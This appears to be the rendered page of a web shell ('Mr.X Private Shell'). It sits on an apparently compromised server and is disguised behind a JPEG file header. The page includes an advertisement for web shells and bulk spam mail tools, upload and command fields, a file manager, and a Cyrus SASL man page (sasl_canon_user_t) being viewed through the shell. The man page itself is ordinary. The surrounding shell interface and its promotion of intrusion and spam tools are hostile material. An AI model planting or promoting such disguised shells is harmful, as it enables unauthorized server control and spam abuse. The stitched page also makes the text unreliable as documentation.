����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

goodiwcm@216.73.217.7: ~ $
.\" Man page generated from reStructuredText.
.
.TH "SASL_CANON_USER_T" "3" "February 18, 2022" "2.1.28" "Cyrus SASL"
.SH NAME
sasl_canon_user_t \- Cyrus SASL documentation
.
.nr rst2man-indent-level 0
.
.de1 rstReportMargin
\\$1 \\n[an-margin]
level \\n[rst2man-indent-level]
level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
-
\\n[rst2man-indent0]
\\n[rst2man-indent1]
\\n[rst2man-indent2]
..
.de1 INDENT
.\" .rstReportMargin pre:
. RS \\$1
. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
. nr rst2man-indent-level +1
.\" .rstReportMargin post:
..
.de UNINDENT
. RE
.\" indent \\n[an-margin]
.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
.nr rst2man-indent-level -1
.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
..
.SH SYNOPSIS
.sp
.nf
#include <sasl/sasl.h>

int sasl_canon_user_t(sasl_conn_t *conn, void *context, const char *user, unsigned ulen,
                      unsigned flags, const char *user_realm, char *out_user,
                      unsigned out_umax, unsigned *out_ulen)
.fi
.SH DESCRIPTION
.INDENT 0.0
.TP
.B int sasl_canon_user_t(sasl_conn_t *conn,
.TP
.B void *context,
.TP
.B const char *user,
.TP
.B unsigned ulen,
.TP
.B unsigned flags,
.TP
.B const char *user_realm,
.TP
.B char *out_user,
.TP
.B unsigned out_umax,
.TP
.B unsigned *out_ulen)
\fBsasl_canon_user_t\fP is the callback for an  application\-supplied  user  canonicalization  function.  This function is
subject to the requirements that all user canonicalization
functions  are:  It  must  copy the result into the output
buffers, but the output buffers and the input buffers  may
be the same.
.INDENT 7.0
.TP
.B Parameters
.INDENT 7.0
.IP \(bu 2
\fBcontext\fP – context from the callback record
.IP \(bu 2
\fBuser\fP – un\-canonicalized username
.IP \(bu 2
\fBulen\fP – length of user
.IP \(bu 2
\fBflags\fP – Either SASL_CU_AUTHID (indicating the authentication ID is being canonicalized) or SASL_CU_AUTHZID  (indicating the  authorization ID is to be canonicalized) or a bitwise OR of the the two.
.IP \(bu 2
\fBuser_realm\fP – Realm of authentication.
.IP \(bu 2
\fBout_user\fP – The output buffer for the canonicalized username
.IP \(bu 2
\fBout_umax\fP – Maximum length for out_user
.IP \(bu 2
\fBout_ulen\fP – Actual length of out_user
.UNINDENT
.TP
.B Returns
\fBSASL_OK\fP indicates success. See sasl_errors(3) for a full list of SASL error codes.
.UNINDENT
.UNINDENT
.SH CONFORMING TO
.sp
\fI\%RFC 4422\fP
.SH SEE ALSO
.sp
sasl(3), sasl_errors(3), sasl_callbacks(3)
.SH AUTHOR
The Cyrus Team
.SH COPYRIGHT
1993-2016, The Cyrus Team
.\" Generated by docutils manpage writer.
.

Filemanager

Name Type Size Permission Actions
sasl.3 File 2.25 KB 0644
sasl_authorize_t.3 File 1.8 KB 0644
sasl_auxprop.3 File 9.21 KB 0644
sasl_auxprop_getctx.3 File 1.63 KB 0644
sasl_auxprop_request.3 File 2.1 KB 0644
sasl_callbacks.3 File 3.19 KB 0644
sasl_canon_user_t.3 File 2.61 KB 0644
sasl_chalprompt_t.3 File 2.09 KB 0644
sasl_checkapop.3 File 2.15 KB 0644
sasl_checkpass.3 File 2.01 KB 0644
sasl_client_init.3 File 1.94 KB 0644
sasl_client_new.3 File 3.85 KB 0644
sasl_client_start.3 File 3.62 KB 0644
sasl_client_step.3 File 3.47 KB 0644
sasl_decode.3 File 2.38 KB 0644
sasl_dispose.3 File 1.64 KB 0644
sasl_done.3 File 1.24 KB 0644
sasl_encode.3 File 2.91 KB 0644
sasl_encodev.3 File 2.91 KB 0644
sasl_errdetail.3 File 1.57 KB 0644
sasl_errors.3 File 3.45 KB 0644
sasl_errstring.3 File 2.16 KB 0644
sasl_getconfpath_t.3 File 1.67 KB 0644
sasl_getopt_t.3 File 2.49 KB 0644
sasl_getpath_t.3 File 1.65 KB 0644
sasl_getprop.3 File 2.92 KB 0644
sasl_getrealm_t.3 File 2.17 KB 0644
sasl_getsecret_t.3 File 1.96 KB 0644
sasl_getsimple_t.3 File 2.2 KB 0644
sasl_global_listmech.3 File 1.45 KB 0644
sasl_idle.3 File 1.46 KB 0644
sasl_listmech.3 File 2.84 KB 0644
sasl_log_t.3 File 1.51 KB 0644
sasl_server_init.3 File 2.25 KB 0644
sasl_server_new.3 File 3.69 KB 0644
sasl_server_start.3 File 3.04 KB 0644
sasl_server_step.3 File 2.46 KB 0644
sasl_server_userdb_checkpass_t.3 File 2.34 KB 0644
sasl_server_userdb_setpass_t.3 File 2.59 KB 0644
sasl_setpass.3 File 2.52 KB 0644
sasl_setprop.3 File 2.59 KB 0644
sasl_user_exists.3 File 1.9 KB 0644
sasl_verifyfile_t.3 File 2.25 KB 0644